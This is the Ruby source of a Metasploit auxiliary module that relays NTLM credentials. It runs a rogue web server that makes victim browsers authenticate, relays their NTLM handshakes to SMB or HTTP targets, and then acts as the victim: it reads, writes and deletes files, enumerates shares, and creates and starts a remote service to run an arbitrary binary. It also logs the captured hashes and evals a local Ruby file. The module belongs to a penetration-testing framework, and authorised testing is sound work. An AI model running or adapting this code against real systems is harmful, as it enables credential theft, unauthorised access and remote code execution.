## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/message' require 'rex/proto/ntlm/crypt' require 'rex/exceptions' NTLM_CONST = Rex::Proto::NTLM::Constants NTLM_CRYPT = Rex::Proto::NTLM::Crypt MESSAGE = Rex::Proto::NTLM::Message class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report # Aliases for common classes XCEPT = Rex::Proto::SMB::Exceptions CONST = Rex::Proto::SMB::Constants NDR = Rex::Encoder::NDR def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP Client MS Credential Relayer', 'Description' => %q{ This module relays negotiated NTLM Credentials from an HTTP server to multiple protocols. Currently, this module supports relaying to SMB and HTTP. Complicated custom attacks requiring multiple requests that depend on each other can be written using the SYNC* options. For example, a CSRF-style attack might first set an HTTP_GET request with a unique SNYNCID and set an HTTP_POST request with a SYNCFILE, which contains logic to look through the database and parse out important values, such as the CSRF token or authentication cookies, setting these as configuration options, and finally create a web page with iframe elements pointing at the HTTP_GET and HTTP_POSTs. }, 'Author' => [ 'Rich Lundeen ', ], 'License' => MSF_LICENSE, 'Actions' => [ [ 'WebServer' ] ], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer')) register_options([ OptBool.new('RSSL', [true, "SSL on the remote connection ", false]), OptEnum.new('RTYPE', [true, "Type of action to perform on remote target", "HTTP_GET", [ "HTTP_GET", "HTTP_POST", "SMB_GET", "SMB_PUT", "SMB_RM", "SMB_ENUM", "SMB_LS", "SMB_PWN" ]]), OptString.new('RURIPATH', [true, "The path to relay credentials ", "/"]), OptString.new('PUTDATA', [false, "This is the HTTP_POST or SMB_PUT data" ]), OptPath.new('FILEPUTDATA', [false, "PUTDATA, but specified by a local file" ]), OptPath.new('SYNCFILE', [false, "Local Ruby file to eval dynamically" ]), OptString.new('SYNCID', [false, "ID to identify a request saved to db" ]), ]) register_advanced_options([ OptPath.new('RESPPAGE', [false, 'The file used for the server response. (Image extensions matter)', nil]), OptPath.new('HTTP_HEADERFILE', [false, 'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil]), OptString.new('SMB_SHARES', [false, 'The shares to check with SMB_ENUM', 'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol']) ]) deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') end # Handles the initial requests waiting for the browser to try NTLM auth def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) else cli.keepalive = true; # If the host has not started auth, send 401 authenticate with only the NTLM option if(!request.headers['Authorization']) response = create_response(401, "Unauthorized") response.headers['WWW-Authenticate'] = "NTLM" response.headers['Proxy-Support'] = 'Session-Based-Authentication' response.body = "You are not authorized to view this page" cli.send_response(response) return false end method,hash = request.headers['Authorization'].split(/\s+/,2) # If the method isn't NTLM something odd is goign on. # Regardless, this won't get what we want, 404 them if(method != "NTLM") print_status("Unrecognized Authorization header, responding with 404") send_not_found(cli) return false end print_status("NTLM Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}") if (datastore['SYNCFILE'] != nil) sync_options() end handle_relay(cli,hash) end end def run parse_args() exploit() end def process_options(cli, request) print_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # The call to handle_relay should be a victim HTTP type 1 request def handle_relay(cli_sock, hash) print_status("Beginning NTLM Relay...") message = Rex::Text.decode_base64(hash) # get type of message, which will be HTTP, SMB, ... protocol = datastore['RTYPE'].split('_')[0] if(message[8,1] != "\x03") # Relay NTLMSSP_NETOTIATE from client to server (type 1) case protocol when 'HTTP' resp, ser_sock = http_relay_toserver(hash) if resp.headers["WWW-Authenticate"] t2hash = resp.headers["WWW-Authenticate"].split(" ")[1] else print_error "#{rhost} is not requesting authentication." cli_sock.close ser_sock.close return false end when 'SMB' t2hash, ser_sock = smb_relay_toservert1(hash) end # goes along with above, resp is now just the hash client_respheader = "NTLM " << t2hash # Relay NTLMSSP_CHALLENGE from server to client (type 2) response = create_response(401, "Unauthorized") response.headers['WWW-Authenticate'] = client_respheader response.headers['Proxy-Support'] = 'Session-Based-Authentication' response.body = "You are not authorized to view this page" cli_sock.send_response(response) # Get the type 3 hash from the client and relay to the server cli_type3Data = cli_sock.get_once(-1, 5) begin cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/,2)[1] cli_type3Hash = cli_type3Header.split(/\r\n/,2)[0] rescue ::NoMethodError print_error("Error: Type3 hash not relayed.") cli_sock.close() return false end case protocol when 'HTTP' resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock) when 'SMB' ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock) # perform authenticated action action = datastore['RTYPE'].split('_')[1] case action when 'GET' resp = smb_get(ser_sock) when 'PUT' resp = smb_put(ser_sock) when 'RM' resp = smb_rm(ser_sock) when 'ENUM' resp = smb_enum(ser_sock) when 'LS' resp = smb_ls(ser_sock) when 'PWN' resp = smb_pwn(ser_sock, cli_sock) end end report_info(resp, cli_type3Hash) # close the client socket response = set_cli_200resp() cli_sock.send_response(response) cli_sock.close() if protocol == 'HTTP' ser_sock.close() end return else print_error("Error: Bad NTLM sent from victim browser") cli_sock.close() return false end end def parse_args() # Consolidate the PUTDATA and FILEPUTDATA options into FINALPUTDATA if datastore['PUTDATA'] != nil and datastore['FILEPUTDATA'] != nil print_error("PUTDATA and FILEPUTDATA cannot both contain data") raise ArgumentError elsif datastore['PUTDATA'] != nil @finalputdata = datastore['PUTDATA'] elsif datastore['FILEPUTDATA'] != nil f = File.open(datastore['FILEPUTDATA'], "rb") @finalputdata = f.read f.close end if (not framework.db.active) and (not datastore['VERBOSE']) print_error("No database configured and verbose disabled, info may be lost. Continuing") end end # sync_options dynamically changes the arguments of a running attack # this is useful for multi staged relay attacks # ideally I would use a resource file but it's not easily exposed, and this is simpler def sync_options() print_status("Dynamically eval()'ing local ruby file: #{datastore['SYNCFILE']}") # previous request might create the file, so error thrown at runtime if not ::File.readable?(datastore['SYNCFILE']) print_error("SYNCFILE unreadable, aborting") raise ArgumentError end data = ::File.read(datastore['SYNCFILE']) eval(data) # WARNING: This can be insanely insecure! end # relay creds to server and perform any HTTP specific attacks def http_relay_toserver(hash, ser_sock = nil) timeout = 20 type3 = (ser_sock == nil ? false : true) method = datastore['RTYPE'].split('_')[1] theaders = ('Authorization: NTLM ' << hash << "\r\n" << "Connection: Keep-Alive\r\n" ) # HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc if datastore['HTTP_HEADERFILE'] != nil print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}") # previous request might create the file, so error thrown at runtime if not ::File.readable?(datastore['HTTP_HEADERFILE']) print_error("HTTP_HEADERFILE unreadable, aborting") raise ArgumentError end # read file line by line to deal with any dos/unix ending ambiguity File.readlines(datastore['HTTP_HEADERFILE']).each do|header| next if header.strip == '' theaders << (header) << "\r\n" end end opts = { 'uri' => normalize_uri(datastore['RURIPATH']), 'method' => method, 'version' => '1.1', } if (@finalputdata != nil) # we need to get rid of an extra "\r\n" theaders = theaders[0..-3] opts['data'] = @finalputdata << "\r\n\r\n" end opts['SSL'] = true if datastore["RSSL"] opts['raw_headers'] = theaders ser_sock = connect(opts) if !type3 r = ser_sock.request_raw(opts) resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true) # Type3 processing if type3 # check if auth was successful if resp.code == 401 print_error("Auth not successful, returned a 401") else print_status("Auth successful, saving server response in database") end vprint_status(resp.to_s) end return [resp, ser_sock] end # relay ntlm type1 message for SMB def smb_relay_toservert1(hash) rsock = Rex::Socket::Tcp.create( 'PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['RPORT'], 'Timeout' => 3, 'Context' => { 'Msf' => framework, 'MsfExploit'=> self, } ) if (not rsock) print_error("Could not connect to target host (#{target_host})") return end ser_sock = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false) if (datastore['RPORT'] == '139') ser_sock.client.session_request() end blob = Rex::Proto::NTLM::Utils.make_ntlmssp_secblob_init('', '', 0x80201) ser_sock.client.negotiate(true) ser_sock.client.require_signing = false resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob, false) resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) # Save the user_ID for future requests ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID'] begin #lazy ntlmsspblob extraction ntlmsspblob = 'NTLMSSP' << (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) << "\x00\x00" rescue ::Exception => e print_error("Type 2 response not read properly from server") raise e end ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob) return [ntlmsspencodedblob, ser_sock] end # relay ntlm type3 SMB message def smb_relay_toservert3(hash, ser_sock) # arg = get_hash_info(hash) dhash = Rex::Text.decode_base64(hash) # Create a GSS blob for ntlmssp type 3 message, encoding the passed hash blob = "\xa1" + Rex::Proto::NTLM::Utils.asn1encode( "\x30" + Rex::Proto::NTLM::Utils.asn1encode( "\xa2" + Rex::Proto::NTLM::Utils.asn1encode( "\x04" + Rex::Proto::NTLM::Utils.asn1encode( dhash ) ) ) ) resp = ser_sock.client.session_setup_with_ntlmssp_blob( blob, false, ser_sock.client.auth_user_id ) resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) # check if auth was successful if (resp['Payload']['SMB'].v['ErrorClass'] == 0) print_status("SMB auth relay succeeded") else failure = Rex::Proto::SMB::Exceptions::ErrorCode.new failure.word_count = resp['Payload']['SMB'].v['WordCount'] failure.command = resp['Payload']['SMB'].v['Command'] failure.error_code = resp['Payload']['SMB'].v['ErrorClass'] raise failure end return ser_sock end # gets a specified file from the drive def smb_get(ser_sock) share, path = datastore['RURIPATH'].split('\\', 2) path = path ser_sock.client.tree_connect(share) ser_sock.client.open("\\" << path, 0x1) resp = ser_sock.client.read() print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}") vprint_status("----Contents----") vprint_status(resp["Payload"].v["Payload"]) vprint_status("----End Contents----") ser_sock.client.close() return resp["Payload"].v["Payload"] end # puts a specified file def smb_put(ser_sock) share, path = datastore['RURIPATH'].split('\\', 2) path = path ser_sock.client.tree_connect(share) fd = ser_sock.open("\\#{path}", 'rwct') fd << @finalputdata fd.close logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written" print_status(logdata) return logdata end # deletes a file from a share def smb_rm(ser_sock) share, path = datastore['RURIPATH'].split('\\', 2) path = path ser_sock.client.tree_connect(share) ser_sock.client.delete('\\' << path) logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} deleted" print_status(logdata) return logdata end # smb share enumerator, overly simplified, just tries connecting to configured shares # This could be improved by using techniques from SMB_ENUMSHARES def smb_enum(ser_sock) shares = [] datastore["SMB_SHARES"].split(",").each do |share_name| begin ser_sock.client.tree_connect(share_name) shares << share_name rescue next end end print_status("Shares enumerated #{datastore["RHOST"]} #{shares.to_s()}") return shares end # smb list directory def smb_ls(ser_sock) share, path = datastore['RURIPATH'].split('\\', 2) ser_sock.client.tree_connect(share) files = ser_sock.client.find_first(path << "\\*") print_status( "Listed #{files.length} files from #{datastore["RHOST"]}\\#{datastore["RURIPATH"]}" ) if datastore["VERBOSE"] files.each {|filename| print_status(" #{filename[0]}")} end return files end # start a service. This methos copies a lot of logic/code from psexec (and smb_relay) def smb_pwn(ser_sock, cli_sock) # filename is a little finicky, it needs to be in a format like # "%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe filename = datastore['RURIPATH'] ser_sock.connect("IPC$") opts = { 'Msf' => framework, 'MsfExploit' => self, 'smb_pipeio' => 'rw', 'smb_client' => ser_sock } uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0'] handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', cli_sock.peerhost, ["\\svcctl"]) dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts) print_status("Obtraining a service manager handle...") stubdata = NDR.uwstring("\\\\#{datastore["RHOST"]}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end print_status("Creating a new service") servicename = Rex::Text::rand_text_alpha(8) displayname = Rex::Text::rand_text_alpha(rand(32)+1) svc_handle = nil stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring(filename) + # Binary Path NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) # Password begin response = dcerpc.call(0x0c, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] #svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("Error: #{e}") return end print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end print_status("Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("Error: #{e}") return end print_status("Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e return end print_status("Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("Error: #{e}") end print_status("Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("Error: #{e}") end ser_sock.disconnect("IPC$") end # print status, and add to the info database def report_info(resp, type3_hash) data = get_hash_info(type3_hash) # no need to generically always grab everything, but grab common config options # and the response, some may be set to nil and that's fine data[:protocol] = datastore['RTYPE'] data[:RHOST] = datastore['RHOST'] data[:RPORT] = datastore['RPORT'] data[:RURI] = datastore['RURIPATH'] data[:SYNCID] = datastore['SYNCID'] data[:Response] = resp report_note( :host => data[:ip], :type => 'ntlm_relay', :update => 'unique_data', :data => data ) end # mostly taken from http_ntlm module handle_auth function def get_hash_info(type3_hash) # authorization string is base64 encoded message domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(type3_hash) nt_len = ntlm_hash.length if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :lm_hash => lm_hash, :nt_hash => ntlm_hash } if arg[:lm_hash][16,32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end # if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response elsif nt_len > 48 #lmv2/ntlmv2 arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :lm_hash => lm_hash[0, 32], :lm_cli_challenge => lm_hash[32, 16], :nt_hash => ntlm_hash[0, 32], :nt_cli_challenge => ntlm_hash[32, nt_len - 32] } elsif nt_len == 0 print_status("Empty hash from #{host} captured, ignoring ... ") else print_status("Unknow hash type from #{host}, ignoring ...") end arg[:host] = host arg[:user] = user arg[:domain] = domain return arg end # function allowing some basic/common configuration in responses def set_cli_200resp() response = create_response(200, "OK") response.headers['Proxy-Support'] = 'Session-Based-Authentication' if (datastore['RESPPAGE'] != nil) begin respfile = File.open(datastore['RESPPAGE'], "rb") response.body = respfile.read respfile.close type = datastore['RESPPAGE'].split('.')[-1].downcase # images can be especially useful (e.g. in email signatures) case type when 'png', 'gif', 'jpg', 'jpeg' print_status('setting content type to image') response.headers['Content-Type'] = "image/" << type end rescue print_error("Problem processing respfile. Continuing...") end end if (response.body.empty?) response.body = "My Page" end return response end end